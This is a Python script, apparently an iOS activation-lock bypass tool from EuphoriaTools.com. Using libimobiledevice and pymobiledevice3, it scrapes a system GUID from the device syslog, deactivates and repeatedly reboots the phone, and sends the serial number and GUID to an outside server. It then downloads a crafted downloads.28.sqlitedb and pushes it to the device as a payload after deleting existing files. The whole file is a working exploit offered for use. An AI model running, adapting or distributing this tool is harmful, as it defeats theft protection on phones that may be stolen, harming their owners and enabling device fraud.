#!/usr/bin/env python3

# updated code created by Mr Creator / Bart Tarasewicz / pwn2owned
# check out EuphoriaTools.com
# enjoy this code, I love when i see people learning!
# Enhanced with aggressive GUID monitoring

import subprocess
import time
import re
import os
import requests
from datetime import datetime
import sys
import threading


class ActivatorCLI:
    def __init__(self):
        self.device_connected = False
        self.device_info = {}
        self.is_activating = False
        self.guid_found = False
        self.guid_value = None
        
    def log(self, message):
        """Print timestamped log message"""
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[{timestamp}] {message}")
        sys.stdout.flush()
    
    def update_gui_status(self, message):
        """Send status update to GUI (Swift will capture this)"""
        print(f"GUI_STATUS:{message}")
        sys.stdout.flush()
    
    def get_device_info(self):
        """Get information about the connected device using ideviceinfo"""
        try:
            result = subprocess.run(
                ["ideviceinfo"],
                capture_output=True,
                text=True,
                timeout=5
            )
            
            if result.returncode != 0:
                return None
            
            info = {}
            for line in result.stdout.split('\n'):
                if ': ' in line:
                    key, value = line.split(': ', 1)
                    info[key.strip()] = value.strip()
            
            # Extract necessary information
            device_data = {
                'udid': info.get('UniqueDeviceID', ''),
                'product_type': info.get('ProductType', ''),
                'device_name': info.get('DeviceName', ''),
                'product_version': info.get('ProductVersion', ''),
                'serial_number': info.get('SerialNumber', ''),
                'wifi_address': info.get('WiFiAddress', ''),
                'bluetooth_address': info.get('BluetoothAddress', ''),
                'activation_state': info.get('ActivationState', '')
            }
            
            return device_data
        except subprocess.TimeoutExpired:
            return None
        except FileNotFoundError:
            self.log("ERROR: ideviceinfo not found. Install libimobiledevice.")
            return None
        except Exception as e:
            self.log(f"Error retrieving device info: {e}")
            return None
    
    def wait_for_device(self):
        """Wait for device to connect"""
        self.log("Waiting for device connection...")
        self.update_gui_status("Waiting for device...")
        
        while True:
            device_info = self.get_device_info()
            
            if device_info and device_info['udid']:
                self.device_connected = True
                self.device_info = device_info
                self.log(f"✓ Device detected: {self.device_info['product_type']}")
                self.log(f"  UDID: {self.device_info['udid']}")
                self.log(f"  Serial Number: {self.device_info['serial_number']}")
                self.log(f"  iOS Version: {self.device_info['product_version']}")
                self.log(f"  Activation State: {self.device_info.get('activation_state', 'Unknown')}")
                
                # Check if already activated
                if self.device_info.get('activation_state') == 'Activated':
                    self.log("✓ Device is already activated!")
                    self.update_gui_status("Device already activated!")
                    return False
                
                self.update_gui_status("Device detected!")
                return True
            
            time.sleep(2)
    
    def trigger_device_activity(self):
        """Try to trigger device activity that might generate logs"""
        self.log("Triggering device activity to generate logs...")
        
        triggers = [
            (["ideviceinfo", "-q", "com.apple.mobile.battery"], "Battery info"),
            (["ideviceinfo", "-q", "com.apple.disk_usage"], "Disk usage"),
            (["ideviceinfo", "-s"], "Simple info query"),
        ]
        
        for cmd, desc in triggers:
            try:
                self.log(f"  → {desc}")
                subprocess.run(
                    cmd,
                    capture_output=True,
                    text=True,
                    timeout=5
                )
                time.sleep(1)
            except Exception:
                pass
    
    def periodic_device_trigger(self):
        """Periodically trigger device queries to generate activity"""
        while not self.guid_found:
            time.sleep(30)
            if not self.guid_found:
                try:
                    subprocess.run(
                        ["ideviceinfo", "-s"],
                        capture_output=True,
                        timeout=5
                    )
                except Exception:
                    pass
    
    def extract_guid_from_aggressive_syslog(self, timeout=300):
        """
        Aggressively monitor idevicesyslog in real-time until GUID is found.
        This runs continuously and triggers device activity periodically.
        """
        try:
            self.update_gui_status("Starting aggressive GUID search...")
            self.log("="*60)
            self.log("AGGRESSIVE GUID EXTRACTION MODE")
            self.log("="*60)
            self.log(f"Monitoring device syslog for GUID (timeout: {timeout}s)...")
            self.log("This will continuously monitor until BLDatabaseManager GUID is found")
            self.log("")
            self.log("TIPS TO TRIGGER GUID:")
            self.log("  • Physical actions: Press home/power buttons, adjust volume")
            self.log("  • Swipe through activation screens back and forth")
            self.log("  • Change language/region settings")
            self.log("  • Toggle WiFi on/off if accessible")
            self.log("  • The script will also auto-trigger device queries")
            self.log("")
            
            # Multiple patterns to catch different variations
            patterns = [
                r'/private/var/containers/Shared/SystemGroup/([0-9A-Fa-f-]{8}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{12})/Documents/BLDatabaseManager',
                r'/private/var/containers/Shared/SystemGroup/([0-9A-Fa-f-]{8}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{12})',
                r'SystemGroup/([0-9A-Fa-f-]{8}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{4}-[0-9A-Fa-f-]{12})',
            ]
            
            # Start periodic device activity trigger in background
            trigger_thread = threading.Thread(target=self.periodic_device_trigger, daemon=True)
            trigger_thread.start()
            
            # Trigger initial device activity
            self.trigger_device_activity()
            
            # Start idevicesyslog process
            process = subprocess.Popen(
                ["idevicesyslog"],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True,
                bufsize=1,
                universal_newlines=True
            )
            
            start_time = time.time()
            line_count = 0
            last_report = time.time()
            
            self.log("Monitoring started. Waiting for BLDatabaseManager activity...")
            self.log("-" * 60)
            
            # Read output line by line
            for line in process.stdout:
                if self.guid_found:
                    break
                
                if time.time() - start_time > timeout:
                    self.log(f"✗ Timeout after {timeout}s - GUID not found")
                    process.terminate()
                    return None
                
                line_count += 1
                
                # Show progress every 5 seconds
                current_time = time.time()
                if current_time - last_report >= 5:
                    self.log(f"  Still monitoring... ({line_count} lines, {int(current_time - start_time)}s elapsed)")
                    last_report = current_time
                
                # Print interesting lines
                if 'SystemGroup' in line or 'BLDatabase' in line or 'ScreenTime' in line:
                    self.log(f"  INTERESTING: {line.strip()[:150]}")
                
                # Try to extract GUID using all patterns
                for pattern in patterns:
                    match = re.search(pattern, line, re.IGNORECASE)
                    if match:
                        guid = match.group(1).upper()
                        self.guid_found = True
                        self.guid_value = guid
                        
                        self.log("")
                        self.log("=" * 60)
                        self.log("✓✓✓ SUCCESS! GUID FOUND! ✓✓✓")
                        self.log(f"✓ GUID: {guid}")
                        self.log("=" * 60)
                        self.log(f"Full line: {line.strip()}")
                        self.log("=" * 60)
                        
                        self.update_gui_status("GUID found!")
                        process.terminate()
                        return guid
            
            # Process ended without finding GUID
            process.wait()
            self.log("✗ idevicesyslog process ended without finding GUID")
            return None
            
        except FileNotFoundError:
            self.log("ERROR: idevicesyslog not found. Install libimobiledevice.")
            return None
        except KeyboardInterrupt:
            self.log("\nMonitoring interrupted by user")
            if 'process' in locals():
                process.terminate()
            return None
        except Exception as e:
            self.log(f"Error during aggressive GUID extraction: {e}")
            if 'process' in locals():
                try:
                    process.terminate()
                except:
                    pass
            return None
            
    def deactivate_device(self):
        """Deactivate device using pymobiledevice3"""
        try:
            self.update_gui_status("Deactivating device...")
            result = subprocess.run(
                ["pymobiledevice3", "activation", "deactivate"],
                capture_output=True,
                text=True,
                timeout=30
            )
            
            if result.returncode == 0:
                self.log("✓ Deactivate command sent successfully")
                return True
            else:
                self.log(f"✗ Deactivate error: {result.stderr}")
                return False
                
        except FileNotFoundError:
            self.log("ERROR: pymobiledevice3 not found")
            return False
        except Exception as e:
            self.log(f"Error during Deactivate: {e}")
            return False
    
    def restart_device(self):
        """Restart device using pymobiledevice3"""
        try:
            self.update_gui_status("Restarting device...")
            result = subprocess.run(
                ["pymobiledevice3", "diagnostics", "restart"],
                capture_output=True,
                text=True,
                timeout=30
            )
            
            if result.returncode == 0:
                self.log("✓ Restart command sent successfully")
                return True
            else:
                self.log(f"✗ Restart error: {result.stderr}")
                return False
                
        except FileNotFoundError:
            self.log("ERROR: pymobiledevice3 not found")
            return False
        except Exception as e:
            self.log(f"Error during restart: {e}")
            return False
    
    def wait_for_device_reconnection(self, expected_udid, timeout=120):
        """Wait for device to reconnect"""
        start_time = time.time()
        
        self.log(f"Waiting for device to reconnect (timeout: {timeout}s)...")
        self.update_gui_status("Waiting for device to reconnect...")
        
        while time.time() - start_time < timeout:
            device_info = self.get_device_info()
            
            if device_info and device_info['udid'] == expected_udid:
                self.log(f"✓ Device reconnected: {expected_udid}")
                self.update_gui_status("Device reconnected!")
                self.device_info = device_info
                return True
            
            time.sleep(3)
        
        return False
    
    def pair_device(self, udid, path):
        """Request Trust Permissions on iOS Device"""
        try:
            self.log("Requesting Trust Permissions on iOS Device...")
            self.update_gui_status("Requesting trust permissions...")
            
            result = subprocess.run(
                ["pymobiledevice3", "lockdown", "pair"],
                capture_output=True,
                text=True,
                timeout=60
            )
            
            if result.returncode == 0:
                self.log("✓ Paired to iOS Device successfully!")
                self.update_gui_status("Device paired successfully!")
                return True
            else:
                self.log("✗ Error: pairing failed")
                self.log(f"  Error: {result.stderr}")
                return False
                    
        except subprocess.TimeoutExpired:
            self.log("Timeout during pairing")
            return False
        except FileNotFoundError:
            self.log("ERROR: pymobiledevice3 not found")
            return False
        except Exception as e:
            self.log(f"Error during pairing: {e}")
            return False
    
    def call_activation_api(self, model, guid, serial_number):
        """Make activation API call"""
        try:
            self.update_gui_status("Contacting activation server...")
            
            url = f"https://euphoriatools.com/a12liberator/server/public/get262.php"
            params = {
                'prd': model,
                'guid': guid,
                'sn': serial_number
            }
            
            self.log(f"Making API call...")
            self.log(f"  Parameters: prd={model}, guid={guid}, sn={serial_number}")
            
            response = requests.get(url, params=params, timeout=30)
            
            if response.status_code == 200:
                self.log(f"✓ API response received (status {response.status_code})")
                self.update_gui_status("Server response received!")
                return response.text
            else:
                self.log(f"✗ API error (status {response.status_code})")
                return None
                
        except requests.RequestException as e:
            self.log(f"Error during API call: {e}")
            return None
    
    def download_file_from_api(self, url, filename):
        """Download file from API URL and save it"""
        try:
            self.update_gui_status("Downloading activation files...")
            self.log(f"Downloading from: {url}")
            response = requests.get(url, timeout=30)
            
            if response.status_code != 200:
                self.log(f"✗ ERROR: HTTP {response.status_code}")
                return False
            
            # Save the file
            file_path = os.path.join(os.getcwd(), filename)
            with open(file_path, 'wb') as f:
                f.write(response.content)
            
            self.log(f"✓ Saved to: {file_path}")
            self.update_gui_status("Activation files downloaded!")
            return True
            
        except requests.exceptions.RequestException as e:
            self.log(f"✗ ERROR: Download failed - {e}")
            return False
        except Exception as e:
            self.log(f"✗ ERROR: {e}")
            return False

    def pull_file_from_device(self, device_path, local_path):
        """Pull a file from device using pymobiledevice3 afc pull"""
        try:
            self.log(f"Pulling file: {device_path} -> {local_path}")
            
            result = subprocess.run(
                ["pymobiledevice3", "afc", "pull", "-i", device_path, local_path],
                capture_output=True,
                text=True,
                timeout=60
            )
            
            if result.returncode == 0 and os.path.exists(local_path):
                self.log(f"✓ File pulled successfully")
                return True
            else:
                if "OBJECT_NOT_FOUND" in result.stderr or "status: 8" in result.stderr or "AfcFileNotFoundError" in result.stderr:
                    self.log(f"  (file not found on device)")
                    return False
                else:
                    self.log(f"✗ ERROR during file pull: {result.stderr}")
                    return False
                
        except subprocess.TimeoutExpired:
            self.log("Timeout during file pull")
            return False
        except Exception as e:
            self.log(f"Error during file pull: {e}")
            return False

    def push_file_to_device(self, local_path, device_path):
        """Send file to device using pymobiledevice3 afc push"""
        try:
            self.update_gui_status("Transferring files to device...")
            self.log(f"Pushing file: {local_path} -> {device_path}")
            
            result = subprocess.run(
                ["pymobiledevice3", "afc", "push", local_path, device_path],
                capture_output=True,
                text=True,
                timeout=60
            )
            
            if result.returncode == 0:
                self.log("✓ File sent successfully")
                return True
            else:
                self.log(f"✗ ERROR during file push: {result.stderr}")
                return False
                
        except subprocess.TimeoutExpired:
            self.log("Timeout during file push")
            return False
        except Exception as e:
            self.log(f"Error during file push: {e}")
            return False

    def rm_file_to_device(self, local_path):
        """Remove file from device using pymobiledevice3 afc rm"""
        try:
            self.log(f"Removing file: {local_path}")

            result = subprocess.run(
                ["pymobiledevice3", "afc", "rm", local_path],
                capture_output=True,
                text=True,
                timeout=60
            )
            
            if result.returncode == 0:
                self.log("✓ File removed successfully")
                return True
            else:
                if "OBJECT_NOT_FOUND" in result.stderr or "status: 8" in result.stderr:
                    return True  # File doesn't exist - OK
                else:
                    self.log(f"✗ ERROR: {result.stderr}")
                    return False
                
        except subprocess.TimeoutExpired:
            self.log("Timeout during file removal")
            return False
        except Exception as e:
            self.log(f"Error during file removal: {e}")
            return False
    
    def activate_device(self):
        """Complete activation process with aggressive GUID monitoring"""
        try:
            original_udid = self.device_info['udid']
            
            # FIRST: Get the GUID using aggressive monitoring
            self.log("\n" + "="*60)
            self.log("STEP 1: PREPARING DEVICE...")
            self.log("="*60)
            self.update_gui_status("Step 1: Preparing Device...")
            
            #cause restart to create HIGH chance of bluetoothd manager to show the path of GUID
            self.log("\n[Step 2.1] Ensuring device is deactivated...")
            self.update_gui_status("[Step 2.1] Deactivating device...")
            if not self.deactivate_device():
                self.log("✗ ERROR: Cannot deactivate device")
                return False
            
            time.sleep(5)

            self.log("\n[Step 2.2] Rebooting device...")
            self.update_gui_status("[Step 2.2] Rebooting device...")
            if not self.restart_device():
                self.log("✗ ERROR: Cannot restart device")
                return False
            
            time.sleep(5)
            
            if not self.wait_for_device_reconnection(original_udid, timeout=120):
                self.log("✗ ERROR: Timeout - device not reconnected")
                return False
            
            self.log("Waiting 5 seconds...")
            time.sleep(5)
            
            # One more restart to ENSURE guid will show
            self.log("\n[Step 2.3] Rebooting device again...")
            self.update_gui_status("[Step 2.3] Rebooting device...")
            if not self.restart_device():
                self.log("✗ ERROR: Cannot restart device")
                return False
            
            time.sleep(5)
            
            if not self.wait_for_device_reconnection(original_udid, timeout=120):
                self.log("✗ ERROR: Timeout - device not reconnected")
                return False
                
            # Pair device
            self.log("\n[Step 2.4] Requesting trust permissions...")
            self.update_gui_status("[Step 2.4] Requesting trust...")
            if not self.pair_device(original_udid, None):
                self.log("✗ ERROR: Cannot pair device")
                return False
            
            self.log("\n" + "="*60)
            self.log("STEP 2: EXTRACTING GUID FROM DEVICE...")
            # Use aggressive GUID extraction with 5 minute timeout
            self.log("\n" + "="*60)
            self.log("\nStarting aggressive GUID monitoring...")
            self.log("The device will be monitored continuously until GUID is found.")
            self.log("")
            self.log("ACTION REQUIRED:")
            self.log("  • Keep the device connected")
            self.log("  • Interact with the device (press buttons, adjust volume)")
            self.log("  • Swipe through activation screens")
            self.log("  • The script will auto-trigger device queries")
            self.log("")
            guid = self.extract_guid_from_aggressive_syslog(timeout=300)
            
            
            if not guid:
                self.log("\n✗ ERROR: GUID not found after monitoring")
                self.log("\nTROUBLESHOOTING:")
                self.log("  1. Make sure device is connected via USB")
                self.log("  2. Try physically interacting with the device")
                self.log("  3. Try restarting the device and running again")
                self.log("  4. If device is unactivated, try minimal activation first")
                return False
            
            self.log(f"\n✓ GUID successfully extracted: {guid}")
            self.log("Proceeding with activation process...")
        
            
            # API call with the GUID we already have
            self.log("\n" + "="*60)
            self.log("STEP 3: SERVER COMMUNICATION")
            self.log("="*60)
            
            self.log("\n[Step 3.1] Making API call...")
            self.update_gui_status("[Step 3.1] Contacting server...")
            model = self.device_info['product_type']
            serial = self.device_info['serial_number']

            api_response = self.call_activation_api(model, guid, serial)
            if not api_response:
                self.log("✗ ERROR: API call failed")
                return False

            # Download file
            self.log("\n[Step 3.2] Downloading activation files...")
            self.update_gui_status("[Step 3.2] Downloading files...")

            try:
                import json
                
                if isinstance(api_response, str):
                    api_data = json.loads(api_response)
                else:
                    api_data = api_response
                
                if not api_data.get('success'):
                    self.log("✗ ERROR: API returned success=False")
                    return False
                
                if 'links' not in api_data or 'step3_final' not in api_data['links']:
                    self.log("✗ ERROR: step3_final not found in API response")
                    return False
                
                file_url = api_data['links']['step3_final']
                
                if not self.download_file_from_api(file_url, 'downloads.28.sqlitedb'):
                    self.log("✗ ERROR: Cannot download downloads.28.sqlitedb")
                    return False
                    
                self.log("✓ Successfully downloaded downloads.28.sqlitedb")
                
            except json.JSONDecodeError as e:
                self.log(f"✗ ERROR: Invalid JSON response: {e}")
                return False
            except Exception as e:
                self.log(f"✗ ERROR: Failed to process API response: {e}")
                return False
            
            # File operations
            self.log("\n" + "="*60)
            self.log("STEP 4: FILE TRANSFER")
            self.log("="*60)
            
            self.log("\n[Step 4.1] Removing existing files on device...")
            self.update_gui_status("[Step 4.1] Preparing device files...")
            
            files_to_remove = [
                "/Downloads/downloads.28.sqlitedb",
                "/Downloads/downloads.28.sqlitedb-wal",
                "/Downloads/downloads.28.sqlitedb-shm",
                "/Books/asset.epub",
                "/iTunes_Control/iTunes/iTunesMetadata.plist",
                "/Books/iTunesMetadata.plist",
                "/iTunes_Control/iTunes/iTunesMetadata.plist.ext"
            ]
            
            for file_path in files_to_remove:
                self.rm_file_to_device(file_path)

            # Push file
            self.log("\n[Step 4.2] Pushing payload file to device...")
            self.update_gui_status("[Step 4.2] Transferring to device...")
            if not self.push_file_to_device("./downloads.28.sqlitedb", "/Downloads/downloads.28.sqlitedb"):
                self.log("✗ ERROR: Cannot send file to device")
                return False
            
            # Finalization
            self.log("\n" + "="*60)
            self.log("STEP 5: FINALIZATION")
            self.log("="*60)
            
            # First restart
            self.log("\n[Step 5.1] Rebooting device (1/3)...")
            self.update_gui_status("[Step 5.1] Rebooting device (1/3)...")
            if not self.restart_device():
                self.log("✗ ERROR: Cannot restart device")
                return False
            
            time.sleep(5)
            
            if not self.wait_for_device_reconnection(original_udid, timeout=120):
                self.log("✗ ERROR: Timeout - device not reconnected")
                return False
            
            self.log("Waiting 30 seconds for device to stabilize...")
            self.update_gui_status("Waiting for device to stabilize...")
            time.sleep(30)

            # Copy iTunesMetadata.plist
            self.log("\n[Step 5.2] Copying metadata files...")
            self.update_gui_status("[Step 5.2] Copying metadata...")
            
            src = "/iTunes_Control/iTunes/iTunesMetadata.plist"
            dst = "/Books/iTunesMetadata.plist"
            tmp_plist = "./tmp_metadata.plist"
            
            if self.pull_file_from_device(src, tmp_plist):
                if self.push_file_to_device(tmp_plist, dst):
                    self.log("✓ Successfully copied metadata to /Books/")
                else:
                    self.log("⚠ Warning: Failed to push to /Books/")
                
                try:
                    if os.path.exists(tmp_plist):
                        os.remove(tmp_plist)
                except Exception as e:
                    self.log(f"Warning: Could not delete temp file: {e}")
            else:
                self.log("⚠ Warning: Metadata file not found - skipping")
            
            # Second restart
            self.log("\n[Step 5.3] Rebooting device (2/3)...")
            self.update_gui_status("[Step 5.3] Rebooting device (2/3)...")
            if not self.restart_device():
                self.log("✗ ERROR: Cannot restart device")
                return False
            
            time.sleep(5)
            
            if not self.wait_for_device_reconnection(original_udid, timeout=120):
                self.log("✗ ERROR: Timeout - device not reconnected")
                return False
            
            self.log("Waiting 30 seconds for device to stabilize...")
            self.update_gui_status("Waiting for device to stabilize...")
            time.sleep(30)

            # Final restart
            self.log("\n[Step 5.4] Rebooting device (3/3)...")
            self.update_gui_status("[Step 5.4] Final reboot (3/3)...")
            if not self.restart_device():
                self.log("✗ ERROR: Cannot restart device")
                return False
            
            time.sleep(5)
            
            if not self.wait_for_device_reconnection(original_udid, timeout=120):
                self.log("✗ ERROR: Timeout - device not reconnected")
                return False
            
            self.log("Waiting 5 seconds...")
            time.sleep(5)
            
            self.log("\n" + "="*50)
            self.log("✓✓✓ ACTIVATION COMPLETED SUCCESSFULLY ✓✓✓")
            self.log("="*50)
            self.update_gui_status("✓ Activation complete!")
            return True
            
        except Exception as e:
            self.log(f"\n✗ ERROR during activation: {e}")
            import traceback
            self.log(traceback.format_exc())
            return False
    
    def run(self):
        """Main execution flow"""
        self.log("="*50)
        self.log("iOS Device Unlocker - Enhanced CLI Version")
        self.log("With Aggressive GUID Monitoring")
        self.log("="*50)
        
        # Wait for device
        if not self.wait_for_device():
            self.log("\nExiting - device already activated")
            return
        
        # Start activation
        self.log("\n" + "="*50)
        self.log("STARTING ACTIVATION PROCESS")
        self.log("="*50)
        self.update_gui_status("Starting activation process...")
        
        success = self.activate_device()
        
        if not success:
            self.log("\n" + "="*50)
            self.log("✗✗✗ ACTIVATION FAILED ✗✗✗")
            self.log("="*50)
            self.update_gui_status("✗ Activation failed!")
            sys.exit(1)


def main():
    try:
        activator = ActivatorCLI()
        activator.run()
    except KeyboardInterrupt:
        print("\n\nProcess interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"\nFatal error: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)


if __name__ == "__main__":
    main()
